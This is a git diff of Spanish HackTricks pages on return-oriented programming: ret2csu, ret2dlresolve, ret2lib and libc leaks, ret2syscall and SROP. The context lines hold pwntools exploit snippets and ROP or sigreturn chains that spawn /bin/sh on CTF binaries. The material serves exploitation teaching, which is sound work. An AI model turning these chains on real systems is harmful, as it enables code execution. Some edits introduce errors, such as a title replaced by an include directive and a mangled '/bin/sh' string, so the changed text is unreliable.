+- **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`).
{{#ref}}
ret2lib/
@@ -184,7 +184,7 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
-- 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila, que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera.
+- 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila.
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index 2211cda52..10ee19ff6 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -6,7 +6,7 @@
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica
-**ret2csu** es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
+**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
@@ -24,7 +24,7 @@ pop r14;
pop r15;
ret;
```
-Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.
+Este gadget nos permite controlar estos registros al sacar valores de la pila hacia ellos.
2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:
- **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones.
@@ -35,7 +35,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
-3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo:
+3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo:
```armasm
mov rdx, r15;
mov rsi, r14;
@@ -50,7 +50,7 @@ ret
Las condiciones serán:
- `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función `_init`):
-- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y hacer que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
+- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y haz que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@@ -71,6 +71,7 @@ Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accedie
Consulta esta página para más información:
+
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
@@ -111,11 +112,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
-> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
+> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
-### Eludir la llamada y alcanzar ret
+### Bypass de la llamada y llegada a ret
-El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, **está eludiendo las comparaciones y alcanzando el `ret`** después de la llamada:
+El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **bypasseando las comparaciones y llegando al `ret`** después de la llamada:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -165,8 +166,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
-### ¿Por qué no usar libc directamente?
+### ¿Por Qué No Usar libc Directamente?
-Normalmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
+Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index 61956eb68..384046122 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -10,18 +10,19 @@ La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estru
Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
-Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`.
+Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`.
> [!TIP]
> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) y no hay formas de filtrar direcciones de libc.
-Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
+Chek this video for a nice explanation about this technique in the second half of the video:
+
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
-O consulta estas páginas para una explicación paso a paso:
+Or check these pages for a step-by-step explanation:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
@@ -31,10 +32,10 @@ O consulta estas páginas para una explicación paso a paso:
1. Escribir estructuras falsas en algún lugar
2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`)
3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`**
-4. **Llamar** a `_dl_runtime_resolve`
+4. **Llamar** `_dl_runtime_resolve`
5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento
-De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**:
+From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
index 032ea4ed8..2df5281d1 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
@@ -4,7 +4,7 @@
## **Información Básica**
-La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté correctamente configurado de acuerdo con la convención de llamada.
+La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté configurado correctamente de acuerdo con la convención de llamada.
### **Pasos de Ejemplo (simplificados)**
@@ -25,7 +25,7 @@ for i in `seq 0 20`; do ldd ./ | grep libc; done
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
-- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la cadena `/bin/sh` función con:
+- Conocer la libc utilizada también permite encontrar el desplazamiento a la cadena `/bin/sh` función con:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
@@ -49,7 +49,7 @@ En este caso se carga en **0xb75dc000** (Esta será la dirección base de libc)
## libc desconocida
-Puede ser posible que **no conozcas la libc que está cargando el binario** (porque podría estar ubicada en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando:
+Puede ser posible que **no sepas qué libc está cargando el binario** (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando:
{{#ref}}
rop-leaking-libc-address/
@@ -77,15 +77,15 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## One Gadget
-Ejecuta un shell saltando a **una** **dirección** específica en libc:
+Ejecuta un shell saltando a **una** dirección **específica** en libc:
{{#ref}}
one-gadget.md
{{#endref}}
-## x86 Ret2lib Código de Ejemplo
+## x86 Ret2lib Code Example
-En este ejemplo, el brute-force de ASLR está integrado en el código y el binario vulnerable se encuentra en un servidor remoto:
+En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable se encuentra en un servidor remoto:
```python
from pwn import *
@@ -105,6 +105,7 @@ c.interactive()
Consulta el ejemplo de:
+
{{#ref}}
../
{{#endref}}
@@ -117,18 +118,20 @@ Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posib
Consulta el ejemplo de:
+
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (o puts)
-Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**.
+Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en el GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**.
## Ret2printf
Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible):
+
{{#ref}}
../../format-strings/
{{#endref}}
@@ -138,14 +141,14 @@ Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vul
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, dado un leak a la dirección de una función en libc, usando un gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
+- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
-- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego llamar a un gadget.
+- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, sin pie, sin canario, sin relro, nx. Usa la función write para filtrar la dirección de write (libc) y llama a un gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
-- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en la GOT) con la dirección de `/bin/sh`.
+- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en el GOT) con la dirección de `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
-- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (se necesita la dirección del heap para eludir una verificación).
+- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (la dirección del heap es necesaria para eludir una verificación).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index 5ab3cbe9b..24d0834fc 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
+
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
@@ -125,24 +126,24 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\
Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
-Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **la imprima**.\
+Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **lo imprima**.\
Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente.
De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**.
.png>)
-Como estamos **explotando** un binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
+Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla:
-### 3.1- Buscando la versión de libc (1)
+### 3.1- Búsqueda de la versión de libc (1)
Puedes buscar qué biblioteca se está utilizando en la página web: [https://libc.blukat.me/](https://libc.blukat.me)\
También te permitirá descargar la versión descubierta de **libc**
.png>)
-### 3.2- Buscando la versión de libc (2)
+### 3.2- Búsqueda de la versión de libc (2)
También puedes hacer:
@@ -162,7 +163,7 @@ Podemos averiguar qué **libc** es la que probablemente se está utilizando.
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-Obtenemos 2 coincidencias (deberías intentar la segunda si la primera no funciona). Descarga la primera:
+Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@@ -195,7 +196,7 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
-> [!NOTE]
+> [!TIP]
> Tenga en cuenta que **la dirección base final de libc debe terminar en 00**. Si ese no es su caso, es posible que haya filtrado una biblioteca incorrecta.
Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.**
@@ -228,7 +229,7 @@ Finalmente, se **llama** a la **dirección de la función exit** para que el pro
## 4(2)- Usando ONE_GADGET
También podrías usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\
-Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL` Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción.
+Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción.
.png>)
```python
@@ -239,6 +240,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:
+
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 1dc781bc9..37681786b 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatizar la cadena ROP
-El siguiente comando crea una cadena ROP completa `sys_execve` dado un binario estático cuando hay gadgets de write-what-where e instrucciones de syscall:
+El siguiente comando crea una cadena ROP completa `sys_execve` dada una binario estático cuando hay gadgets de write-what-where e instrucciones de syscall:
```bash
ROPgadget --binary vuln --ropchain
```
@@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila:
+
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 143632b05..a937f4c4c 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -4,6 +4,7 @@
Encuentra una introducción a arm64 en:
+
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@@ -12,6 +13,7 @@ Encuentra una introducción a arm64 en:
Vamos a usar el ejemplo de la página:
+
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
@@ -63,7 +65,7 @@ nop ;
mov x8, #0xdd ;
svc #0
```
-Con los gadgets anteriores, podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
+Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
> [!TIP]
> Tenga en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual.
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 48511907b..0f1246b4f 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,20 +1,21 @@
-# SROP - Sigreturn-Oriented Programming
+# SROP - Programación Orientada a la Señal
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
-**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
+**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales.
-Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
+Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales.
La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
> [!CAUTION]
-> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría cargar en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
+> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
+
{{#ref}}
../rop-syscall-execv/
{{#endref}}
@@ -134,7 +135,7 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/index.html). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read intro ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
+- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index f2fc9cdd6..44dfee9c9 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,4 +1,4 @@
-# SROP - ARM64
+# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4 # svc #0x0
+svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@@ -103,7 +103,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-## ejemplo de bof sin sigreturn
+## bof ejemplo sin sigreturn
### Código
```c
@@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4 # svc #0x0
+svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@@ -165,16 +165,65 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-Para más información sobre vdso, consulta:
+Para más información sobre vdso consulta:
{{#ref}}
../ret2vdso.md
{{#endref}}
-Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información:
